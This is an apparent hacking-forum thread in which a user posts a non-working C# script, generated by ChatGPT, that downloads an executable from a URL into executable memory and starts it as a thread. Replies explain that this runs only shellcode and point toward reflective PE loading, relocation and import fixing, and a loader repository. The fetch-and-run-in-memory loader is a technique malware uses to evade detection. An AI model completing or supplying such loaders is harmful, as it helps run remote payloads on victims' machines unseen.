How do i solve: Code 3221225477 (0xc0000005) 'Access violation'

[CompCrime]

Hi,

i try right now to load a pe from a url and then execute it in the memory.

I generated this script with chatgpt, cause i didnt found a example online.

I get this error:

Code 3221225477 (0xc0000005) 'Access violation'

Script:

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Net;
class PEFileLoader
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

    public const uint MEM_COMMIT = 0x00001000;
    public const uint MEM_RESERVE = 0x00002000;
    public const uint PAGE_EXECUTE_READWRITE = 0x40;
    public const uint INFINITE = 0xFFFFFFFF;

    static void Main(string[] args)
    {
        byte[] peBytes = new WebClient().DownloadData("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe");
        IntPtr allocatedMemory = VirtualAlloc(IntPtr.Zero, (uint)peBytes.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(peBytes, 0, allocatedMemory, peBytes.Length);
        IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocatedMemory, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(threadHandle, INFINITE);
    }
}

 

[Quake3]

Оно все не так просто, как вам кажется. читайте на тему LoadPe,Pe loader,shellcode.

 

[CCod]

with ur code u can only run shellcode. But u try to run exe. Read about PE format .U should parse exe fix relocations and import table. Get entry point address and set its address in CreateThread

 

[Acid Bunny]

GitHub - nettitude/RunPE: C# Reflective loader for unmanaged binaries.

C# Reflective loader for unmanaged binaries. Contribute to nettitude/RunPE development by creating an account on GitHub.

github.com

PE Format - Win32 apps

This specification describes the structure of executable (image) files and object files under the Windows family of operating systems. These files are referred to as Portable Executable (PE) and Common Object File Format (COFF) files, respectively.

learn.microsoft.com